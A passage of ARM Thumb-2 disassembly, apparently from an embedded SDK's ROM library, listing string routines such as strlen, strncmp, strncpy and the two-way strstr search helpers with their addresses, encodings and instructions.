lr 101077e8: 4603 mov r3, r0 101077ea: e7f4 b.n 101077d6 <_strcpy+0x36> 101077ec <_stricmp>: 101077ec: b470 push {r4, r5, r6} 101077ee: f810 3b01 ldrb.w r3, [r0], #1 101077f2: f811 2b01 ldrb.w r2, [r1], #1 101077f6: 4293 cmp r3, r2 101077f8: d009 beq.n 1010780e <_stricmp+0x22> 101077fa: f043 0420 orr.w r4, r3, #32 101077fe: f1a4 0561 sub.w r5, r4, #97 ; 0x61 10107802: 2d19 cmp r5, #25 10107804: d808 bhi.n 10107818 <_stricmp+0x2c> 10107806: f042 0620 orr.w r6, r2, #32 1010780a: 42b4 cmp r4, r6 1010780c: d104 bne.n 10107818 <_stricmp+0x2c> 1010780e: 2b00 cmp r3, #0 10107810: d1ed bne.n 101077ee <_stricmp+0x2> 10107812: 4618 mov r0, r3 10107814: bc70 pop {r4, r5, r6} 10107816: 4770 bx lr 10107818: 2001 movs r0, #1 1010781a: bc70 pop {r4, r5, r6} 1010781c: 4770 bx lr 1010781e: bf00 nop 10107820 <_strlen>: 10107820: b410 push {r4} 10107822: 0784 lsls r4, r0, #30 10107824: d029 beq.n 1010787a <_strlen+0x5a> 10107826: 7803 ldrb r3, [r0, #0] 10107828: b34b cbz r3, 1010787e <_strlen+0x5e> 1010782a: 1c43 adds r3, r0, #1 1010782c: e003 b.n 10107836 <_strlen+0x16> 1010782e: 7819 ldrb r1, [r3, #0] 10107830: 1c5c adds r4, r3, #1 10107832: b1f1 cbz r1, 10107872 <_strlen+0x52> 10107834: 4623 mov r3, r4 10107836: 0799 lsls r1, r3, #30 10107838: 461a mov r2, r3 1010783a: d1f8 bne.n 1010782e <_strlen+0xe> 1010783c: 6811 ldr r1, [r2, #0] 1010783e: f1a1 3301 sub.w r3, r1, #16843009 ; 0x1010101 10107842: ea23 0301 bic.w r3, r3, r1 10107846: f013 3f80 tst.w r3, #2155905152 ; 0x80808080 1010784a: d108 bne.n 1010785e <_strlen+0x3e> 1010784c: f852 4f04 ldr.w r4, [r2, #4]! 10107850: f1a4 3101 sub.w r1, r4, #16843009 ; 0x1010101 10107854: ea21 0104 bic.w r1, r1, r4 10107858: f011 3f80 tst.w r1, #2155905152 ; 0x80808080 1010785c: d0f6 beq.n 1010784c <_strlen+0x2c> 1010785e: 7813 ldrb r3, [r2, #0] 10107860: b11b cbz r3, 1010786a <_strlen+0x4a> 10107862: f812 1f01 ldrb.w r1, [r2, #1]! 10107866: 2900 cmp r1, #0 10107868: d1fb bne.n 10107862 <_strlen+0x42> 1010786a: 1a10 subs r0, r2, r0 1010786c: f85d 4b04 ldr.w r4, [sp], #4 10107870: 4770 bx lr 10107872: 1a18 subs r0, r3, r0 10107874: f85d 4b04 ldr.w r4, [sp], #4 10107878: 4770 bx lr 1010787a: 4602 mov r2, r0 1010787c: e7de b.n 1010783c <_strlen+0x1c> 1010787e: 4618 mov r0, r3 10107880: e7f4 b.n 1010786c <_strlen+0x4c> 10107882: bf00 nop 10107884 <_strncat>: 10107884: 0783 lsls r3, r0, #30 10107886: b430 push {r4, r5} 10107888: d125 bne.n 101078d6 <_strncat+0x52> 1010788a: 6804 ldr r4, [r0, #0] 1010788c: f1a4 3301 sub.w r3, r4, #16843009 ; 0x1010101 10107890: ea23 0304 bic.w r3, r3, r4 10107894: f013 3f80 tst.w r3, #2155905152 ; 0x80808080 10107898: 4603 mov r3, r0 1010789a: d108 bne.n 101078ae <_strncat+0x2a> 1010789c: f853 5f04 ldr.w r5, [r3, #4]! 101078a0: f1a5 3401 sub.w r4, r5, #16843009 ; 0x1010101 101078a4: ea24 0405 bic.w r4, r4, r5 101078a8: f014 3f80 tst.w r4, #2155905152 ; 0x80808080 101078ac: d0f6 beq.n 1010789c <_strncat+0x18> 101078ae: 781c ldrb r4, [r3, #0] 101078b0: b11c cbz r4, 101078ba <_strncat+0x36> 101078b2: f813 4f01 ldrb.w r4, [r3, #1]! 101078b6: 2c00 cmp r4, #0 101078b8: d1fb bne.n 101078b2 <_strncat+0x2e> 101078ba: 188d adds r5, r1, r2 101078bc: e005 b.n 101078ca <_strncat+0x46> 101078be: f811 4b01 ldrb.w r4, [r1], #1 101078c2: f803 4b01 strb.w r4, [r3], #1 101078c6: b124 cbz r4, 101078d2 <_strncat+0x4e> 101078c8: b13a cbz r2, 101078da <_strncat+0x56> 101078ca: 42a9 cmp r1, r5 101078cc: f102 32ff add.w r2, r2, #4294967295 101078d0: d1f5 bne.n 101078be <_strncat+0x3a> 101078d2: bc30 pop {r4, r5} 101078d4: 4770 bx lr 101078d6: 4603 mov r3, r0 101078d8: e7e9 b.n 101078ae <_strncat+0x2a> 101078da: 701a strb r2, [r3, #0] 101078dc: e7f5 b.n 101078ca <_strncat+0x46> 101078de: bf00 nop 101078e0 <_strncmp>: 101078e0: 2a00 cmp r2, #0 101078e2: d041 beq.n 10107968 <_strncmp+0x88> 101078e4: ea40 0301 orr.w r3, r0, r1 101078e8: f013 0303 ands.w r3, r3, #3 101078ec: b4f0 push {r4, r5, r6, r7} 101078ee: d125 bne.n 1010793c <_strncmp+0x5c> 101078f0: 2a03 cmp r2, #3 101078f2: d923 bls.n 1010793c <_strncmp+0x5c> 101078f4: 6804 ldr r4, [r0, #0] 101078f6: 680d ldr r5, [r1, #0] 101078f8: 42ac cmp r4, r5 101078fa: d11f bne.n 1010793c <_strncmp+0x5c> 101078fc: 3a04 subs r2, #4 101078fe: d035 beq.n 1010796c <_strncmp+0x8c> 10107900: f1a4 3501 sub.w r5, r4, #16843009 ; 0x1010101 10107904: ea25 0404 bic.w r4, r5, r4 10107908: f014 3f80 tst.w r4, #2155905152 ; 0x80808080 1010790c: d131 bne.n 10107972 <_strncmp+0x92> 1010790e: 1d07 adds r7, r0, #4 10107910: 1d0d adds r5, r1, #4 10107912: e00d b.n 10107930 <_strncmp+0x50> 10107914: f857 3b04 ldr.w r3, [r7], #4 10107918: 680e ldr r6, [r1, #0] 1010791a: f1a3 3401 sub.w r4, r3, #16843009 ; 0x1010101 1010791e: 42b3 cmp r3, r6 10107920: ea24 0403 bic.w r4, r4, r3 10107924: d10a bne.n 1010793c <_strncmp+0x5c> 10107926: 3a04 subs r2, #4 10107928: d020 beq.n 1010796c <_strncmp+0x8c> 1010792a: f014 3f80 tst.w r4, #2155905152 ; 0x80808080 1010792e: d123 bne.n 10107978 <_strncmp+0x98> 10107930: 2a03 cmp r2, #3 10107932: 4629 mov r1, r5 10107934: 4638 mov r0, r7 10107936: f105 0504 add.w r5, r5, #4 1010793a: d8eb bhi.n 10107914 <_strncmp+0x34> 1010793c: 7805 ldrb r5, [r0, #0] 1010793e: 780c ldrb r4, [r1, #0] 10107940: 42ac cmp r4, r5 10107942: f102 33ff add.w r3, r2, #4294967295 10107946: d119 bne.n 1010797c <_strncmp+0x9c> 10107948: b19b cbz r3, 10107972 <_strncmp+0x92> 1010794a: b914 cbnz r4, 10107952 <_strncmp+0x72> 1010794c: e018 b.n 10107980 <_strncmp+0xa0> 1010794e: b183 cbz r3, 10107972 <_strncmp+0x92> 10107950: b162 cbz r2, 1010796c <_strncmp+0x8c> 10107952: f810 2f01 ldrb.w r2, [r0, #1]! 10107956: f811 4f01 ldrb.w r4, [r1, #1]! 1010795a: 42a2 cmp r2, r4 1010795c: f103 33ff add.w r3, r3, #4294967295 10107960: d0f5 beq.n 1010794e <_strncmp+0x6e> 10107962: 1b10 subs r0, r2, r4 10107964: bcf0 pop {r4, r5, r6, r7} 10107966: 4770 bx lr 10107968: 4610 mov r0, r2 1010796a: 4770 bx lr 1010796c: 4610 mov r0, r2 1010796e: bcf0 pop {r4, r5, r6, r7} 10107970: 4770 bx lr 10107972: 4618 mov r0, r3 10107974: bcf0 pop {r4, r5, r6, r7} 10107976: 4770 bx lr 10107978: 2000 movs r0, #0 1010797a: e7f3 b.n 10107964 <_strncmp+0x84> 1010797c: 462a mov r2, r5 1010797e: e7f0 b.n 10107962 <_strncmp+0x82> 10107980: 4620 mov r0, r4 10107982: e7ef b.n 10107964 <_strncmp+0x84> 10107984 <_strncpy>: 10107984: ea40 0301 orr.w r3, r0, r1 10107988: 079b lsls r3, r3, #30 1010798a: b470 push {r4, r5, r6} 1010798c: d12b bne.n 101079e6 <_strncpy+0x62> 1010798e: 2a03 cmp r2, #3 10107990: d929 bls.n 101079e6 <_strncpy+0x62> 10107992: 460c mov r4, r1 10107994: 4603 mov r3, r0 10107996: 4621 mov r1, r4 10107998: f854 6b04 ldr.w r6, [r4], #4 1010799c: f1a6 3501 sub.w r5, r6, #16843009 ; 0x1010101 101079a0: ea25 0506 bic.w r5, r5, r6 101079a4: f015 3f80 tst.w r5, #2155905152 ; 0x80808080 101079a8: d106 bne.n 101079b8 <_strncpy+0x34> 101079aa: 3a04 subs r2, #4 101079ac: 2a03 cmp r2, #3 101079ae: f843 6b04 str.w r6, [r3], #4 101079b2: 4621 mov r1, r4 101079b4: d8ef bhi.n 10107996 <_strncpy+0x12> 101079b6: b1a2 cbz r2, 101079e2 <_strncpy+0x5e> 101079b8: 780c ldrb r4, [r1, #0] 101079ba: 3a01 subs r2, #1 101079bc: 701c strb r4, [r3, #0] 101079be: 3101 adds r1, #1 101079c0: 3301 adds r3, #1 101079c2: b13c cbz r4, 101079d4 <_strncpy+0x50> 101079c4: b16a cbz r2, 101079e2 <_strncpy+0x5e> 101079c6: f811 4b01 ldrb.w r4, [r1], #1 101079ca: 3a01 subs r2, #1 101079cc: f803 4b01 strb.w r4, [r3], #1 101079d0: 2c00 cmp r4, #0 101079d2: d1f7 bne.n 101079c4 <_strncpy+0x40> 101079d4: b12a cbz r2, 101079e2 <_strncpy+0x5e> 101079d6: 2100 movs r1, #0 101079d8: 441a add r2, r3 101079da: f803 1b01 strb.w r1, [r3], #1 101079de: 429a cmp r2, r3 101079e0: d1fb bne.n 101079da <_strncpy+0x56> 101079e2: bc70 pop {r4, r5, r6} 101079e4: 4770 bx lr 101079e6: 4603 mov r3, r0 101079e8: e7e5 b.n 101079b6 <_strncpy+0x32> 101079ea: bf00 nop 101079ec <_strnlen>: 101079ec: b199 cbz r1, 10107a16 <_strnlen+0x2a> 101079ee: 7803 ldrb r3, [r0, #0] 101079f0: b19b cbz r3, 10107a1a <_strnlen+0x2e> 101079f2: b410 push {r4} 101079f4: 4401 add r1, r0 101079f6: 1c43 adds r3, r0, #1 101079f8: e003 b.n 10107a02 <_strnlen+0x16> 101079fa: 781a ldrb r2, [r3, #0] 101079fc: 1c5c adds r4, r3, #1 101079fe: b132 cbz r2, 10107a0e <_strnlen+0x22> 10107a00: 4623 mov r3, r4 10107a02: 4299 cmp r1, r3 10107a04: d1f9 bne.n 101079fa <_strnlen+0xe> 10107a06: 1a08 subs r0, r1, r0 10107a08: f85d 4b04 ldr.w r4, [sp], #4 10107a0c: 4770 bx lr 10107a0e: 1a18 subs r0, r3, r0 10107a10: f85d 4b04 ldr.w r4, [sp], #4 10107a14: 4770 bx lr 10107a16: 4608 mov r0, r1 10107a18: 4770 bx lr 10107a1a: 4618 mov r0, r3 10107a1c: 4770 bx lr 10107a1e: bf00 nop 10107a20 <_strpbrk>: 10107a20: b430 push {r4, r5} 10107a22: 7804 ldrb r4, [r0, #0] 10107a24: b17c cbz r4, 10107a46 <_strpbrk+0x26> 10107a26: 780d ldrb r5, [r1, #0] 10107a28: b14d cbz r5, 10107a3e <_strpbrk+0x1e> 10107a2a: 42a5 cmp r5, r4 10107a2c: d00c beq.n 10107a48 <_strpbrk+0x28> 10107a2e: 460a mov r2, r1 10107a30: e001 b.n 10107a36 <_strpbrk+0x16> 10107a32: 42a3 cmp r3, r4 10107a34: d008 beq.n 10107a48 <_strpbrk+0x28> 10107a36: f812 3f01 ldrb.w r3, [r2, #1]! 10107a3a: 2b00 cmp r3, #0 10107a3c: d1f9 bne.n 10107a32 <_strpbrk+0x12> 10107a3e: f810 4f01 ldrb.w r4, [r0, #1]! 10107a42: 2c00 cmp r4, #0 10107a44: d1f0 bne.n 10107a28 <_strpbrk+0x8> 10107a46: 4620 mov r0, r4 10107a48: bc30 pop {r4, r5} 10107a4a: 4770 bx lr 10107a4c <_strsep>: 10107a4c: 4602 mov r2, r0 10107a4e: 2300 movs r3, #0 10107a50: 6800 ldr r0, [r0, #0] 10107a52: f000 badd b.w 10108010 <__strtok_r> 10107a56: bf00 nop 10107a58 <__rtl_critical_factorization>: 10107a58: e92d 41f0 stmdb sp!, {r4, r5, r6, r7, r8, lr} 10107a5c: f04f 0e01 mov.w lr, #1 10107a60: 2500 movs r5, #0 10107a62: 4674 mov r4, lr 10107a64: f04f 36ff mov.w r6, #4294967295 10107a68: 192b adds r3, r5, r4 10107a6a: 428b cmp r3, r1 10107a6c: eb00 0706 add.w r7, r0, r6 10107a70: d20d bcs.n 10107a8e <__rtl_critical_factorization+0x36> 10107a72: 5d3f ldrb r7, [r7, r4] 10107a74: f810 c003 ldrb.w ip, [r0, r3] 10107a78: 45bc cmp ip, r7 10107a7a: d22d bcs.n 10107ad8 <__rtl_critical_factorization+0x80> 10107a7c: 461d mov r5, r3 10107a7e: 2401 movs r4, #1 10107a80: eba3 0e06 sub.w lr, r3, r6 10107a84: 192b adds r3, r5, r4 10107a86: 428b cmp r3, r1 10107a88: eb00 0706 add.w r7, r0, r6 10107a8c: d3f1 bcc.n 10107a72 <__rtl_critical_factorization+0x1a> 10107a8e: f04f 0801 mov.w r8, #1 10107a92: 2500 movs r5, #0 10107a94: 4644 mov r4, r8 10107a96: f04f 37ff mov.w r7, #4294967295 10107a9a: f8c2 e000 str.w lr, [r2] 10107a9e: 192b adds r3, r5, r4 10107aa0: 4299 cmp r1, r3 10107aa2: eb00 0e07 add.w lr, r0, r7 10107aa6: d90e bls.n 10107ac6 <__rtl_critical_factorization+0x6e> 10107aa8: f81e e004 ldrb.w lr, [lr, r4] 10107aac: f810 c003 ldrb.w ip, [r0, r3] 10107ab0: 45f4 cmp ip, lr 10107ab2: d918 bls.n 10107ae6 <__rtl_critical_factorization+0x8e> 10107ab4: 461d mov r5, r3 10107ab6: 2401 movs r4, #1 10107ab8: eba3 0807 sub.w r8, r3, r7 10107abc: 192b adds r3, r5, r4 10107abe: 4299 cmp r1, r3 10107ac0: eb00 0e07 add.w lr, r0, r7 10107ac4: d8f0 bhi.n 10107aa8 <__rtl_critical_factorization+0x50> 10107ac6: 3701 adds r7, #1 10107ac8: 1c70 adds r0, r6, #1 10107aca: 4287 cmp r7, r0 10107acc: bf24 itt cs 10107ace: 4638 movcs r0, r7 10107ad0: f8c2 8000 strcs.w r8, [r2] 10107ad4: e8bd 81f0 ldmia.w sp!, {r4, r5, r6, r7, r8, pc} 10107ad8: d00c beq.n 10107af4 <__rtl_critical_factorization+0x9c> 10107ada: f04f 0e01 mov.w lr, #1 10107ade: 462e mov r6, r5 10107ae0: 4674 mov r4, lr 10107ae2: 4475 add r5, lr 10107ae4: e7c0 b.n 10107a68 <__rtl_critical_factorization+0x10> 10107ae6: d00c beq.n 10107b02 <__rtl_critical_factorization+0xaa> 10107ae8: f04f 0801 mov.w r8, #1 10107aec: 462f mov r7, r5 10107aee: 4644 mov r4, r8 10107af0: 4445 add r5, r8 10107af2: e7d4 b.n 10107a9e <__rtl_critical_factorization+0x46> 10107af4: 4574 cmp r4, lr 10107af6: bf09 itett eq 10107af8: 46a6 moveq lr, r4 10107afa: 3401 addne r4, #1 10107afc: 461d moveq r5, r3 10107afe: 2401 moveq r4, #1 10107b00: e7b2 b.n 10107a68 <__rtl_critical_factorization+0x10> 10107b02: 4544 cmp r4, r8 10107b04: bf09 itett eq 10107b06: 46a0 moveq r8, r4 10107b08: 3401 addne r4, #1 10107b0a: 461d moveq r5, r3 10107b0c: 2401 moveq r4, #1 10107b0e: e7c6 b.n 10107a9e <__rtl_critical_factorization+0x46> 10107b10 <__rtl_two_way_long_needle>: 10107b10: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10107b14: f2ad 4d14 subw sp, sp, #1044 ; 0x414 10107b18: 4616 mov r6, r2 10107b1a: 4605 mov r5, r0 10107b1c: 468b mov fp, r1 10107b1e: 4610 mov r0, r2 10107b20: 4619 mov r1, r3 10107b22: aa03 add r2, sp, #12 10107b24: 461c mov r4, r3 10107b26: f7ff ff97 bl 10107a58 <__rtl_critical_factorization> 10107b2a: 4681 mov r9, r0 10107b2c: ab03 add r3, sp, #12 10107b2e: f20d 420c addw r2, sp, #1036 ; 0x40c 10107b32: f843 4f04 str.w r4, [r3, #4]! 10107b36: 4293 cmp r3, r2 10107b38: d1fb bne.n 10107b32 <__rtl_two_way_long_needle+0x22> 10107b3a: b14c cbz r4, 10107b50 <__rtl_two_way_long_needle+0x40> 10107b3c: 1e63 subs r3, r4, #1 10107b3e: 1e72 subs r2, r6, #1 10107b40: a804 add r0, sp, #16 10107b42: f812 1f01 ldrb.w r1, [r2, #1]! 10107b46: f840 3021 str.w r3, [r0, r1, lsl #2] 10107b4a: f113 33ff adds.w r3, r3, #4294967295 10107b4e: d2f8 bcs.n 10107b42 <__rtl_two_way_long_needle+0x32> 10107b50: 9903 ldr r1, [sp, #12] 10107b52: 464a mov r2, r9 10107b54: 4431 add r1, r6 10107b56: 4630 mov r0, r6 10107b58: f7ff f8aa bl 10106cb0 <_memcmp> 10107b5c: 2800 cmp r0, #0 10107b5e: d16f bne.n 10107c40 <__rtl_two_way_long_needle+0x130> 10107b60: f109 33ff add.w r3, r9, #4294967295 10107b64: 9300 str r3, [sp, #0] 10107b66: 18f3 adds r3, r6, r3 10107b68: 4682 mov sl, r0 10107b6a: 9301 str r3, [sp, #4] 10107b6c: 4623 mov r3, r4 10107b6e: 4680 mov r8, r0 10107b70: 4654 mov r4, sl 10107b72: 4658 mov r0, fp 10107b74: 469a mov sl, r3 10107b76: eb08 070a add.w r7, r8, sl 10107b7a: 1a3a subs r2, r7, r0 10107b7c: 2100 movs r1, #0 10107b7e: 4428 add r0, r5 10107b80: f7ff f84e bl 10106c20 <_memchr> 10107b84: 2800 cmp r0, #0 10107b86: d156 bne.n 10107c36 <__rtl_two_way_long_needle+0x126> 10107b88: 2f00 cmp r7, #0 10107b8a: d054 beq.n 10107c36 <__rtl_two_way_long_needle+0x126> 10107b8c: 19eb adds r3, r5, r7 10107b8e: f813 2c01 ldrb.w r2, [r3, #-1] 10107b92: ab04 add r3, sp, #16 10107b94: f853 3022 ldr.w r3, [r3, r2, lsl #2] 10107b98: b14b cbz r3, 10107bae <__rtl_two_way_long_needle+0x9e> 10107b9a: b124 cbz r4, 10107ba6 <__rtl_two_way_long_needle+0x96> 10107b9c: 9a03 ldr r2, [sp, #12] 10107b9e: 4293 cmp r3, r2 10107ba0: d201 bcs.n 10107ba6 <__rtl_two_way_long_needle+0x96> 10107ba2: ebaa 0302 sub.w r3, sl, r2 10107ba6: 4498 add r8, r3 10107ba8: 2400 movs r4, #0 10107baa: 4638 mov r0, r7 10107bac: e7e3 b.n 10107b76 <__rtl_two_way_long_needle+0x66> 10107bae: 454c cmp r4, r9 10107bb0: 4623 mov r3, r4 10107bb2: bf38 it cc 10107bb4: 464b movcc r3, r9 10107bb6: f10a 3eff add.w lr, sl, #4294967295 10107bba: 4573 cmp r3, lr 10107bbc: d213 bcs.n 10107be6 <__rtl_two_way_long_needle+0xd6> 10107bbe: eb08 0203 add.w r2, r8, r3 10107bc2: 5ca8 ldrb r0, [r5, r2] 10107bc4: f816 c003 ldrb.w ip, [r6, r3] 10107bc8: 4584 cmp ip, r0 10107bca: 442a add r2, r5 10107bcc: eb06 0103 add.w r1, r6, r3 10107bd0: d006 beq.n 10107be0 <__rtl_two_way_long_needle+0xd0> 10107bd2: e02c b.n 10107c2e <__rtl_two_way_long_needle+0x11e> 10107bd4: f811 cf01 ldrb.w ip, [r1, #1]! 10107bd8: f812 0f01 ldrb.w r0, [r2, #1]! 10107bdc: 4584 cmp ip, r0 10107bde: d126 bne.n 10107c2e <__rtl_two_way_long_needle+0x11e> 10107be0: 3301 adds r3, #1 10107be2: 4573 cmp r3, lr 10107be4: d3f6 bcc.n 10107bd4 <__rtl_two_way_long_needle+0xc4> 10107be6: 454c cmp r4, r9 10107be8: 9900 ldr r1, [sp, #0] 10107bea: f080 8089 bcs.w 10107d00 <__rtl_two_way_long_needle+0x1f0> 10107bee: 9b00 ldr r3, [sp, #0] 10107bf0: 9801 ldr r0, [sp, #4] 10107bf2: eb08 0203 add.w r2, r8, r3 10107bf6: 5cab ldrb r3, [r5, r2] 10107bf8: 7800 ldrb r0, [r0, #0] 10107bfa: 4298 cmp r0, r3 10107bfc: 442a add r2, r5 10107bfe: d17f bne.n 10107d00 <__rtl_two_way_long_needle+0x1f0> 10107c00: 9801 ldr r0, [sp, #4] 10107c02: f104 3bff add.w fp, r4, #4294967295 10107c06: e006 b.n 10107c16 <__rtl_two_way_long_needle+0x106> 10107c08: f810 cd01 ldrb.w ip, [r0, #-1]! 10107c0c: f812 ed01 ldrb.w lr, [r2, #-1]! 10107c10: 45f4 cmp ip, lr 10107c12: d103 bne.n 10107c1c <__rtl_two_way_long_needle+0x10c> 10107c14: 4619 mov r1, r3 10107c16: 1e4b subs r3, r1, #1 10107c18: 459b cmp fp, r3 10107c1a: d1f5 bne.n 10107c08 <__rtl_two_way_long_needle+0xf8> 10107c1c: 3401 adds r4, #1 10107c1e: 428c cmp r4, r1 10107c20: d870 bhi.n 10107d04 <__rtl_two_way_long_needle+0x1f4> 10107c22: 9c03 ldr r4, [sp, #12] 10107c24: 4638 mov r0, r7 10107c26: 44a0 add r8, r4 10107c28: ebaa 0404 sub.w r4, sl, r4 10107c2c: e7a3 b.n 10107b76 <__rtl_two_way_long_needle+0x66> 10107c2e: f1c9 0201 rsb r2, r9, #1 10107c32: 4490 add r8, r2 10107c34: e7b7 b.n 10107ba6 <__rtl_two_way_long_needle+0x96> 10107c36: 2000 movs r0, #0 10107c38: f20d 4d14 addw sp, sp, #1044 ; 0x414 10107c3c: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10107c40: eba4 0309 sub.w r3, r4, r9 10107c44: 454b cmp r3, r9 10107c46: bf38 it cc 10107c48: 464b movcc r3, r9 10107c4a: f109 38ff add.w r8, r9, #4294967295 10107c4e: 3301 adds r3, #1 10107c50: 9303 str r3, [sp, #12] 10107c52: eb06 0308 add.w r3, r6, r8 10107c56: 4658 mov r0, fp 10107c58: f04f 0a00 mov.w sl, #0 10107c5c: 46cb mov fp, r9 10107c5e: 4699 mov r9, r3 10107c60: eb0a 0704 add.w r7, sl, r4 10107c64: 1a3a subs r2, r7, r0 10107c66: 2100 movs r1, #0 10107c68: 4428 add r0, r5 10107c6a: f7fe ffd9 bl 10106c20 <_memchr> 10107c6e: 2800 cmp r0, #0 10107c70: d1e1 bne.n 10107c36 <__rtl_two_way_long_needle+0x126> 10107c72: 2f00 cmp r7, #0 10107c74: d0df beq.n 10107c36 <__rtl_two_way_long_needle+0x126> 10107c76: 19eb adds r3, r5, r7 10107c78: f813 2c01 ldrb.w r2, [r3, #-1] 10107c7c: ab04 add r3, sp, #16 10107c7e: f853 3022 ldr.w r3, [r3, r2, lsl #2] 10107c82: bba3 cbnz r3, 10107cee <__rtl_two_way_long_needle+0x1de> 10107c84: 1e60 subs r0, r4, #1 10107c86: 4583 cmp fp, r0 10107c88: d215 bcs.n 10107cb6 <__rtl_two_way_long_needle+0x1a6> 10107c8a: eb0a 020b add.w r2, sl, fp 10107c8e: f815 e002 ldrb.w lr, [r5, r2] 10107c92: f816 300b ldrb.w r3, [r6, fp] 10107c96: 459e cmp lr, r3 10107c98: 442a add r2, r5 10107c9a: eb06 010b add.w r1, r6, fp 10107c9e: 465b mov r3, fp 10107ca0: d006 beq.n 10107cb0 <__rtl_two_way_long_needle+0x1a0> 10107ca2: e027 b.n 10107cf4 <__rtl_two_way_long_needle+0x1e4> 10107ca4: f811 cf01 ldrb.w ip, [r1, #1]! 10107ca8: f812 ef01 ldrb.w lr, [r2, #1]! 10107cac: 45f4 cmp ip, lr 10107cae: d121 bne.n 10107cf4 <__rtl_two_way_long_needle+0x1e4> 10107cb0: 3301 adds r3, #1 10107cb2: 4283 cmp r3, r0 10107cb4: d3f6 bcc.n 10107ca4 <__rtl_two_way_long_needle+0x194> 10107cb6: f1b8 3fff cmp.w r8, #4294967295 10107cba: d011 beq.n 10107ce0 <__rtl_two_way_long_needle+0x1d0> 10107cbc: eb0a 0208 add.w r2, sl, r8 10107cc0: 5cab ldrb r3, [r5, r2] 10107cc2: f899 1000 ldrb.w r1, [r9] 10107cc6: 4299 cmp r1, r3 10107cc8: 442a add r2, r5 10107cca: d10f bne.n 10107cec <__rtl_two_way_long_needle+0x1dc> 10107ccc: 464b mov r3, r9 10107cce: e005 b.n 10107cdc <__rtl_two_way_long_needle+0x1cc> 10107cd0: f813 0d01 ldrb.w r0, [r3, #-1]! 10107cd4: f812 1d01 ldrb.w r1, [r2, #-1]! 10107cd8: 4288 cmp r0, r1 10107cda: d107 bne.n 10107cec <__rtl_two_way_long_needle+0x1dc> 10107cdc: 42b3 cmp r3, r6 10107cde: d1f7 bne.n 10107cd0 <__rtl_two_way_long_needle+0x1c0> 10107ce0: eb05 000a add.w r0, r5, sl 10107ce4: f20d 4d14 addw sp, sp, #1044 ; 0x414 10107ce8: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10107cec: 9b03 ldr r3, [sp, #12] 10107cee: 449a add sl, r3 10107cf0: 4638 mov r0, r7 10107cf2: e7b5 b.n 10107c60 <__rtl_two_way_long_needle+0x150> 10107cf4: f1cb 0201 rsb r2, fp, #1 10107cf8: 4492 add sl, r2 10107cfa: 449a add sl, r3 10107cfc: 4638 mov r0, r7 10107cfe: e7af b.n 10107c60 <__rtl_two_way_long_needle+0x150> 10107d00: 4649 mov r1, r9 10107d02: e78b b.n 10107c1c <__rtl_two_way_long_needle+0x10c> 10107d04: eb05 0008 add.w r0, r5, r8 10107d08: e796 b.n 10107c38 <__rtl_two_way_long_needle+0x128> 10107d0a: bf00 nop 10107d0c <_strstr>: 10107d0c: 7802 ldrb r2, [r0, #0] 10107d0e: 2a00 cmp r2, #0 10107d10: f000 8101 beq.w 10107f16 <_strstr+0x20a> 10107d14: e92d 4ff0 stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, lr} 10107d18: f891 8000 ldrb.w r8, [r1] 10107d1c: b085 sub sp, #20 10107d1e: 4644 mov r4, r8 10107d20: f1b8 0f00 cmp.w r8, #0 10107d24: d016 beq.n 10107d54 <_strstr+0x48> 10107d26: 4686 mov lr, r0 10107d28: f101 0c01 add.w ip, r1, #1 10107d2c: 2701 movs r7, #1 10107d2e: e004 b.n 10107d3a <_strstr+0x2e> 10107d30: 4663 mov r3, ip 10107d32: f813 4b01 ldrb.w r4, [r3], #1 10107d36: b164 cbz r4, 10107d52 <_strstr+0x46> 10107d38: 469c mov ip, r3 10107d3a: 42a2 cmp r2, r4 10107d3c: bf14 ite ne 10107d3e: 2700 movne r7, #0 10107d40: f007 0701 andeq.w r7, r7, #1 10107d44: f81e 2f01 ldrb.w r2, [lr, #1]! 10107d48: 2a00 cmp r2, #0 10107d4a: d1f1 bne.n 10107d30 <_strstr+0x24> 10107d4c: f89c 3000 ldrb.w r3, [ip] 10107d50: b9fb cbnz r3, 10107d92 <_strstr+0x86> 10107d52: b117 cbz r7, 10107d5a <_strstr+0x4e> 10107d54: b005 add sp, #20 10107d56: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10107d5a: 460e mov r6, r1 10107d5c: 4605 mov r5, r0 10107d5e: 4641 mov r1, r8 10107d60: 3001 adds r0, #1 10107d62: ebac 0406 sub.w r4, ip, r6 10107d66: f7ff fc79 bl 1010765c <_strchr> 10107d6a: 4607 mov r7, r0 10107d6c: b188 cbz r0, 10107d92 <_strstr+0x86> 10107d6e: 2c01 cmp r4, #1 10107d70: d0f0 beq.n 10107d54 <_strstr+0x48> 10107d72: 1928 adds r0, r5, r4 10107d74: 4287 cmp r7, r0 10107d76: bf8c ite hi 10107d78: 2101 movhi r1, #1 10107d7a: 1bc1 subls r1, r0, r7 10107d7c: 2c1f cmp r4, #31 10107d7e: 468b mov fp, r1 10107d80: d90b bls.n 10107d9a <_strstr+0x8e> 10107d82: 4623 mov r3, r4 10107d84: 4632 mov r2, r6 10107d86: 4638 mov r0, r7 10107d88: f7ff fec2 bl 10107b10 <__rtl_two_way_long_needle> 10107d8c: b005 add sp, #20 10107d8e: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10107d92: 2000 movs r0, #0 10107d94: b005 add sp, #20 10107d96: e8bd 8ff0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, sl, fp, pc} 10107d9a: aa03 add r2, sp, #12 10107d9c: 4621 mov r1, r4 10107d9e: 4630 mov r0, r6 10107da0: f7ff fe5a bl 10107a58 <__rtl_critical_factorization> 10107da4: 9903 ldr r1, [sp, #12] 10107da6: 4680 mov r8, r0 10107da8: 4602 mov r2, r0 10107daa: 4431 add r1, r6 10107dac: 4630 mov r0, r6 10107dae: f7fe ff7f bl 10106cb0 <_memcmp> 10107db2: 2800 cmp r0, #0 10107db4: d157 bne.n 10107e66 <_strstr+0x15a> 10107db6: 4681 mov r9, r0 10107db8: 4605 mov r5, r0 10107dba: 46b2 mov sl, r6 10107dbc: 4658 mov r0, fp 10107dbe: f108 33ff add.w r3, r8, #4294967295 10107dc2: 9301 str r3, [sp, #4] 10107dc4: 18f3 adds r3, r6, r3 10107dc6: 9300 str r3, [sp, #0] 10107dc8: 1966 adds 